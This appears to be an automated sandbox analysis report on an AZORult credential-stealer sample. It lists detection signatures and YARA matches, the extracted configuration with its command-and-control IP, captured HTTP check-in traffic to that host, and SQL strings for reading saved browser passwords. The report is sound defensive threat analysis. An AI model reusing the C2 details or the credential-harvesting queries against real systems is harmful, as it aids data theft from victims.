Play interactive tour

Edit tour

Analysis Report gunzipped.exe

Overview

General Information

Sample Name:	gunzipped.exe
Analysis ID:	396371
MD5:	289691163ea5795a930703689eb1b3b9
SHA1:	46dc959dc6848a44d6930d00ad2a9e60db08e47b
SHA256:	ba5786cfe255f158264fabd0b0cbf90b6f96ddd230a5fe82ca0c551d420f95be
Tags:	AZORultexe
Infos:
Most interesting Screenshot:

Detection

AZORult

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected AZORult Info Stealer

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AntiVM3

Yara detected Azorult

Yara detected Azorult Info Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file access)

Binary contains a suspicious time stamp

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

Is looking for software installed on the system

May sleep (evasive loops) to hinder dynamic analysis

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Startup

System is w10x64

gunzipped.exe (PID: 5624 cmdline: 'C:\Users\user\Desktop\gunzipped.exe' MD5: 289691163EA5795A930703689EB1B3B9)

gunzipped.exe (PID: 5472 cmdline: {path} MD5: 289691163EA5795A930703689EB1B3B9)

cleanup

Malware Configuration

Threatname: Azorult

{"config: ": ["MachineID :", "EXE_PATH  :", "Screen:", "Layouts:", "LocalTime:", "Computer(Username) :", "Zone:", "[Soft]", "Host: 31.210.20.121\r"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000003.283731822.0000000003C38000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000003.00000003.279779219.00000000033C4000.00000004.00000001.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp	Azorult_1	Azorult Payload	kevoreilly	0x17f53:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 ... 0x12c7c:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")
00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000003.00000003.280585798.00000000038F0000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gunzipped.exe PID: 5472	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
Process Memory Space: gunzipped.exe PID: 5472	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: gunzipped.exe PID: 5472	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gunzipped.exe PID: 5624	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
Process Memory Space: gunzipped.exe PID: 5624	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: gunzipped.exe PID: 5624	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: gunzipped.exe PID: 5624	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.gunzipped.exe.400000.0.unpack	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
3.2.gunzipped.exe.400000.0.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
3.2.gunzipped.exe.400000.0.unpack	Azorult_1	Azorult Payload	kevoreilly	0x17353:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 ... 0x1207c:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")
3.2.gunzipped.exe.400000.0.raw.unpack	JoeSecurity_Azorult	Yara detected Azorult Info Stealer	Joe Security
3.2.gunzipped.exe.400000.0.raw.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
3.2.gunzipped.exe.400000.0.raw.unpack	Azorult_1	Azorult Payload	kevoreilly	0x17f53:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 ... 0x12c7c:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")
3.3.gunzipped.exe.39186c4.155.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.3.gunzipped.exe.39186c4.155.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x32690b:$string1: SELECT origin_url, username_value, password_value FROM logins 0x327850:$string1: SELECT origin_url, username_value, password_value FROM logins 0x197172:$string2: API call with %s database connection pointer 0x197da6:$string3: os_win.c:%d: (%lu) %s(%s) - %s
3.3.gunzipped.exe.393a6b1.154.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.3.gunzipped.exe.393a6b1.154.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x30491e:$string1: SELECT origin_url, username_value, password_value FROM logins 0x305863:$string1: SELECT origin_url, username_value, password_value FROM logins 0x175185:$string2: API call with %s database connection pointer 0x175db9:$string3: os_win.c:%d: (%lu) %s(%s) - %s
3.3.gunzipped.exe.39a5e02.153.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.3.gunzipped.exe.39a5e02.153.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x2991cd:$string1: SELECT origin_url, username_value, password_value FROM logins 0x29a112:$string1: SELECT origin_url, username_value, password_value FROM logins 0x109a34:$string2: API call with %s database connection pointer 0x10a668:$string3: os_win.c:%d: (%lu) %s(%s) - %s
Click to see the 7 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: gunzipped.exe.5472.3.memstr

Malware Configuration Extractor: Azorult {"config: ": ["MachineID :", "EXE_PATH :", "Screen:", "Layouts:", "LocalTime:", "Computer(Username) :", "Zone:", "[Soft]", "Host: 31.210.20.121\r"]}

Multi AV Scanner detection for domain / URL

Show sources

Source: http://31.210.20.121/index.php

Virustotal: Detection: 8%

Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: gunzipped.exe	Virustotal: Detection: 55%			Perma Link
Source: gunzipped.exe	ReversingLabs: Detection: 75%

Machine Learning detection for sample

Show sources

Source: gunzipped.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\gunzipped.exe

Code function: 3_2_0040A610 CryptUnprotectData,LocalFree,

3_2_0040A610

Source: gunzipped.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\gunzipped.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source: gunzipped.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274743641.0000000004128000.00000004.00000001.sdmp, api-ms-win-crt-locale-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: gunzipped.exe, 00000003.00000003.269486087.0000000003728000.00000004.00000001.sdmp, mozglue.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, nss3.dll.3.dr
Source:	Binary string: ucrtbase.pdb source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, ucrtbase.dll.3.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: gunzipped.exe, 00000003.00000003.274290249.0000000004094000.00000004.00000001.sdmp, api-ms-win-core-file-l1-2-0.dll.3.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274375989.00000000040B0000.00000004.00000001.sdmp, api-ms-win-core-memory-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: gunzipped.exe, 00000003.00000003.269240179.0000000003728000.00000004.00000001.sdmp, freebl3.dll.3.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274208393.0000000004088000.00000004.00000001.sdmp, api-ms-win-core-debug-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268354039.0000000003728000.00000004.00000001.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274723981.0000000004118000.00000004.00000001.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268805106.0000000003724000.00000004.00000001.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274375989.00000000040B0000.00000004.00000001.sdmp, api-ms-win-core-heap-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274632349.00000000040F4000.00000004.00000001.sdmp, api-ms-win-core-util-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268332940.0000000003724000.00000004.00000001.sdmp, api-ms-win-core-synch-l1-1-0.dll.3.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: gunzipped.exe, 00000003.00000003.275951863.0000000003708000.00000004.00000001.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.282742497.00000000037FC000.00000004.00000001.sdmp, api-ms-win-crt-environment-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: gunzipped.exe, 00000003.00000003.269486087.0000000003728000.00000004.00000001.sdmp, mozglue.dll.3.dr
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274290249.0000000004094000.00000004.00000001.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268244527.0000000003724000.00000004.00000001.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.282985286.00000000037F8000.00000004.00000001.sdmp, api-ms-win-core-console-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: gunzipped.exe, 00000003.00000003.269240179.0000000003728000.00000004.00000001.sdmp, freebl3.dll.3.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.267552438.0000000003724000.00000004.00000001.sdmp, api-ms-win-core-file-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274828166.000000000413C000.00000004.00000001.sdmp, api-ms-win-crt-private-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268528772.0000000003728000.00000004.00000001.sdmp, api-ms-win-crt-convert-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr
Source:	Binary string: msvcp140.i386.pdb source: gunzipped.exe, 00000003.00000003.275123945.000000000342C000.00000004.00000001.sdmp, msvcp140.dll.3.dr
Source:	Binary string: ucrtbase.pdbUGP source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, ucrtbase.dll.3.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268265315.0000000003724000.00000004.00000001.sdmp, api-ms-win-core-profile-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, api-ms-win-crt-time-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, nssdbm3.dll.3.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274290249.0000000004094000.00000004.00000001.sdmp, api-ms-win-core-handle-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: gunzipped.exe, 00000003.00000003.268354039.0000000003728000.00000004.00000001.sdmp, api-ms-win-core-synch-l1-2-0.dll.3.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.282742497.00000000037FC000.00000004.00000001.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274208393.0000000004088000.00000004.00000001.sdmp, api-ms-win-core-datetime-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268451933.0000000003724000.00000004.00000001.sdmp, api-ms-win-crt-conio-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: gunzipped.exe, 00000003.00000003.274375989.00000000040B0000.00000004.00000001.sdmp, api-ms-win-core-localization-l1-2-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274743641.0000000004128000.00000004.00000001.sdmp, api-ms-win-crt-math-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: gunzipped.exe, 00000003.00000003.274537491.00000000040D8000.00000004.00000001.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.3.dr
Source:	Binary string: mscorrc.pdb source: gunzipped.exe, 00000001.00000002.262457843.0000000007360000.00000002.00000001.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274375989.00000000040B0000.00000004.00000001.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268657790.0000000003728000.00000004.00000001.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.3.dr
Source:	Binary string: vcruntime140.i386.pdb source: gunzipped.exe, 00000003.00000003.275951863.0000000003708000.00000004.00000001.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, api-ms-win-crt-utility-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274537491.00000000040D8000.00000004.00000001.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, nssdbm3.dll.3.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274632349.00000000040F4000.00000004.00000001.sdmp, api-ms-win-core-timezone-l1-1-0.dll.3.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: gunzipped.exe, 00000003.00000003.275123945.000000000342C000.00000004.00000001.sdmp, msvcp140.dll.3.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274537491.00000000040D8000.00000004.00000001.sdmp, api-ms-win-core-string-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: gunzipped.exe, 00000003.00000003.274290249.0000000004094000.00000004.00000001.sdmp, api-ms-win-core-file-l2-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, api-ms-win-crt-process-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274375989.00000000040B0000.00000004.00000001.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274375989.00000000040B0000.00000004.00000001.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.274723981.0000000004118000.00000004.00000001.sdmp, api-ms-win-crt-heap-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: gunzipped.exe, 00000003.00000003.268805106.0000000003724000.00000004.00000001.sdmp, api-ms-win-crt-string-l1-1-0.dll.3.dr

Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_004099C0 FreeLibrary,FindFirstFileW,DeleteFileW,FindNextFileW,SetCurrentDirectoryW,RemoveDirectoryW,	3_2_004099C0
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040A9E4 FindFirstFileW,FindNextFileW,FindClose,	3_2_0040A9E4
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040D988 FindFirstFileW,FindFirstFileW,	3_2_0040D988
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00409EF0 FindFirstFileW,GetFileAttributesW,	3_2_00409EF0
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00413030 FindFirstFileW,FindNextFileW,FindClose,	3_2_00413030
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040A9E3 FindFirstFileW,FindNextFileW,FindClose,	3_2_0040A9E3
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_004119A8 FindFirstFileW,FindNextFileW,FindClose,	3_2_004119A8
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_004119AC FindFirstFileW,FindNextFileW,FindClose,	3_2_004119AC
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040DB00 FindFirstFileW,	3_2_0040DB00
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040DB30 FindFirstFileW,	3_2_0040DB30
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00412D6C FindFirstFileW,FindNextFileW,FindClose,	3_2_00412D6C
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0041160C FindFirstFileW,FindNextFileW,FindClose,	3_2_0041160C
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00413F58 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	3_2_00413F58
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00409EE8 FindFirstFileW,GetFileAttributesW,	3_2_00409EE8
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00413F58 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	3_2_00413F58

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2029465 ET TROJAN Win32/AZORult V3.2 Client Checkin M15 192.168.2.5:49703 -> 31.210.20.121:80
Source: Traffic	Snort IDS: 2029140 ET TROJAN AZORult v3.2 Server Response M2 31.210.20.121:80 -> 192.168.2.5:49703

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: Host: 31.210.20.121

Source: Joe Sandbox View

ASN Name: PLUSSERVER-ASN1DE PLUSSERVER-ASN1DE

Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: 31.210.20.121Content-Length: 105Cache-Control: no-cacheData Raw: 4a 4f ed 3e 32 ed 3e 3c 89 28 39 fe 49 2f fb 38 2f fa 49 4c ed 3e 33 ed 3e 3e ed 3e 3b ed 3e 3e ed 3e 33 ed 3e 3a ed 3e 3d ed 3f 4e 89 28 39 ff 28 39 fd 28 39 fe 28 39 fe 4b 2f fb 3d 4c ed 3f 4e 8a 48 2f fb 38 2f fb 3a 4e ed 3e 3a ed 3e 3e ed 3e 3c ed 3f 4e 8a 28 39 fd 28 39 fc 49 2f fb 3a 48 ed 3e 32 ed 3e 3b 8e Data Ascii: JO>2><(9I/8/IL>3>>>;>>>3>:>=?N(9(9(9(9K/=L?NH/8/:N>:>>><?N(9(9I/:H>2>;
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: 31.210.20.121Content-Length: 11117Cache-Control: no-cache

Source: C:\Users\user\Desktop\gunzipped.exe

Code function: 3_2_00417D84 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,InternetCrackUrlA,InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,

3_2_00417D84

Source: unknown

HTTP traffic detected: POST /index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: 31.210.20.121Content-Length: 105Cache-Control: no-cacheData Raw: 4a 4f ed 3e 32 ed 3e 3c 89 28 39 fe 49 2f fb 38 2f fa 49 4c ed 3e 33 ed 3e 3e ed 3e 3b ed 3e 3e ed 3e 33 ed 3e 3a ed 3e 3d ed 3f 4e 89 28 39 ff 28 39 fd 28 39 fe 28 39 fe 4b 2f fb 3d 4c ed 3f 4e 8a 48 2f fb 38 2f fb 3a 4e ed 3e 3a ed 3e 3e ed 3e 3c ed 3f 4e 8a 28 39 fd 28 39 fc 49 2f fb 3a 48 ed 3e 32 ed 3e 3b 8e Data Ascii: JO>2><(9I/8/IL>3>>>;>>>3>:>=?N(9(9(9(9K/=L?NH/8/:N>:>>><?N(9(9I/:H>2>;

Source: gunzipped.exe, 00000003.00000003.283704458.00000000026B0000.00000004.00000001.sdmp, gunzipped.exe, 00000003.00000002.284437491.0000000000C57000.00000004.00000020.sdmp	String found in binary or memory: http://31.210.20.121/index.php
Source: gunzipped.exe, 00000003.00000002.284563787.0000000000C9D000.00000004.00000020.sdmp	String found in binary or memory: http://31.210.20.121/index.phpU)
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: gunzipped.exe, 00000001.00000003.238644642.000000000173D000.00000004.00000001.sdmp	String found in binary or memory: http://en.w55
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: gunzipped.exe, 00000001.00000003.239257578.000000000568B000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.coms
Source: gunzipped.exe	String found in binary or memory: http://ip-api.com/json
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: gunzipped.exe, 00000001.00000003.241762035.0000000005680000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com=N
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: gunzipped.exe, 00000001.00000002.256437881.0000000005670000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp, gunzipped.exe, 00000001.00000003.245173320.000000000567D000.00000004.00000001.sdmp, gunzipped.exe, 00000001.00000003.244756516.0000000005679000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
